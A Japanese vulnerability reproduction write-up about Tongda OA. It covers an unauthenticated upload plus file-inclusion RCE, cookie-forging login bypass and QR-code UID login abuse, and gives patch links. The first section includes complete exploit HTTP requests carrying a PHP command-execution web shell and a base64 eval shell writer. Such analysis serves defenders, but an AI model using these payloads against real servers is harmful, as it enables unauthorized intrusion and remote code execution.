通达 OA の紹介#
通达 OA は北京通达信科科技有限公司が提供する "Office Anywhere 通达ネットワークインテリジェントオフィスシステム" です。
ファイルアップロード&ファイル包含 getshell#
脆弱性情報:
3 月 13 日、通达 OA は公式フォーラムで通知を発表し、最近ユーザーからランサムウェア攻撃の報告を受け、安全リスクに注意するようユーザーに警告し、同日にすべてのバージョンに対して強化パッチをリリースしました。
影響を受けたバージョンでは、攻撃者は認証なしでサーバーに jpg 画像ファイルをアップロードし、そのファイルを包含することでリモートコード実行を引き起こすことができます。この脆弱性はログインなしでトリガーされます。
脆弱性レベル:高危
脆弱性影響バージョン:
- V11 版
- 2017 版
- 2016 版
- 2015 版
- 2013 拡張版
- 2013 版
脆弱性原理:
この脆弱性は以下の 2 つのリンクに存在します:
任意ファイルアップロード脆弱性 /ispirit/im/upload.php
ローカルファイル包含脆弱性 /ispirit/interface/gateway.php
一部のバージョンではgateway.phpのパスが異なります
2013年:
/ispirit/im/upload.php
/ispirit/interface/gateway.php
2017年:
/ispirit/im/upload.php
/mac/gateway.Php
この記事で使用しているv11バージョンのパスは
/ispirit/im/upload.php
/ispirit/interface/gateway.php
任意ファイルアップロード脆弱性のパスにアクセスします /ispirit/im/upload.php
通达 OA はzend
で暗号化されており、SeayDzend
ツールを使用して復号化する必要があります。
このツールもSeay
師の手によるものです(Seay のソースコード監査システムはこの師から生まれました)。
オンラインの復号化サイトを使用することもできます。
パッチ適用前後のファイルispirit/im/upload.php
を比較すると以下のようになります:
upload.php
は修正前に$P
が非空であればauth.php
の検証を通過せずに後続のコードを実行できることがわかります。
このロジックを利用してログイン検証をバイパスし、直接ファイルをアップロードできます。
次に$DEST_UID
に遭遇した際も、POST
の方法で自分で値を設定できます。
次にファイルの判断ポイントに到達します。この時、ファイルアップロードの変数名はATTACHMENT
であることがわかります。
upload
関数を追跡し、ファイルinc/utility_file.php
にジャンプします。
ここではアップロードされたファイルに対して一連のチェックが行われており、ブラックリストなどの制限が含まれています。
したがって、jpg
形式のphp
コードをアップロードし、その後ファイルを包含すれば良いのです。
脆弱性再現:
まず、11.3 のインストーラをダウンロードします。
ソースコードをダウンロードした後、すべてデフォルトでインストールし、次へ進みます。インストール後、localhost
またはローカルのip
にアクセスします。
未ログイン状態で任意ファイルアップロード脆弱性のパス/ispirit/im/upload.php
にアクセスします。
アクセスパスは- ERR ユーザー未ログイン
と表示されます。この時、burp でパケットをキャッチし、以下のように変更します:
POST /ispirit/im/upload.php HTTP/1.1
Host: 10.103.51.104
Content-Length: 655
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBwVAwV3O4sifyhr3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="P"
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundaryBwVAwV3O4sifyhr3--
ここではCOM
コンポーネントwscript.shell
を使用してdisable_function
をバイパスしています。
フォルダを開くと、ログイン検証を経ずに jpg ファイルが正常にアップロードされたことが確認できます:
次にファイル包含を利用するリンク/ispirit/interface/gateway.php
にアクセスします。
POST
でjson
に値を設定し、key
をurl
、value
をファイルの位置に指定します。
以下のように変更します:
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 10.103.51.104
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
json={"url":"/general/../../attach/im/2009/1066533428.jpg"}&cmd=whoami
コマンドが正常に実行されました!画像の内容を変更して、書き込みの一文を実行するコマンドにすることもできます:
<?php
$fp = fopen('test.php', 'w');
$a = base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==");
fwrite($fp, $a);
fclose($fp);
ファイル名を変更してパケットを送信し、ファイル包含を実行した後、shell
が正常に書き込まれました:
修正提案:
公式通知:https://www.tongda2000.com/news/p673.php
参考記事:
- 脆弱性再現 | 通达 OA コマンド実行脆弱性再現
- 通达 OA ファイルアップロード&ファイル包含脆弱性解析
- 通达 OA 任意ファイルアップロード + ファイル包含 GetShell
- 通达 OA リモートコマンド実行
任意フロントエンドログイン脆弱性#
脆弱性情報:
通达 OA は国内で一般的に使用されるオフィスシステムであり、今回のセキュリティ更新で修正された高危脆弱性は任意ユーザーログイン脆弱性です。攻撃者はリモートで未承認の状態で、この脆弱性を利用して任意のユーザーとしてシステムに直接ログインできます(システム管理者を含む)。
脆弱性レベル:高危
脆弱性影響バージョン:
- 通达 OA < 11.5.200417
脆弱性原理:
復号化ツールは第一部の脆弱性原理を参照してください。
脆弱性再現
まず、ログイン画面を開いてcookie
を確認します:
POC
ツールTongDaOA-Fake-User
を使用してリンクcookie
を取得します:
元のcookie
をPOC
で取得したcookie
に変更します:
/general/index.php
にアクセスすると、システムに直接アクセスできます:
修正提案:
- パッチを適用する:https://www.tongda2000.com/download/sp2019.php
- WAF を使用して遮断する
参考記事:
任意ユーザーログイン脆弱性(匿名 RCE)#
脆弱性情報:
任意ユーザー(管理者を含む)ログイン脆弱性のトリガーポイントは QR コードログイン機能にあり、サーバー側は UID のみを取得してユーザーの身分を識別しています。UID は整数の増加 ID であるため、指定された UID のユーザー(admin のデフォルト UID は 1)にログインできます。
脆弱性レベル:高危
脆弱性影響バージョン:
- 通达 OA v2017、v11.x < v11.5 QR コードログインバージョンをサポート
脆弱性原理:
v11.5
はクライアント QR コードログインとWeb
側 QR コードログインインターフェースを修正しました。
Web 側の QR コードログインプロセスは大まかに 4 つのステップに分かれます:
-
Web 側が /general/login_code.php?codeuid = ランダム文字列 にアクセスし、QR コードを生成します。codeuid はこの QR コードの証明書です。
-
Web 側がループリクエストを通じて /general/login_code_check.php に codeuid を送信し、誰かがこの QR コードをスキャンしたかどうかを判断します。
-
モバイル端末がこの QR コードをスキャンし、codeuid などのデータを /general/login_code_scan.php サーバーに送信して保存します。
-
Web 側が login_code_check.php を通じて codeuid などのスキャンデータを取得した後(実際にはこのデータを取得する時点で
$_SESSION["LOGIN_UID"]
がログインされます)、Web 側から logincheck_code.php に送信してログインします。
Web 側のログインリクエストスクリプトは以下の通りです:
脆弱性再現:
POC&EXP
ツール:https://github.com/zrools/tools/tree/master/python
修正提案:
参考記事:
任意ファイル削除 getshell#
本文完。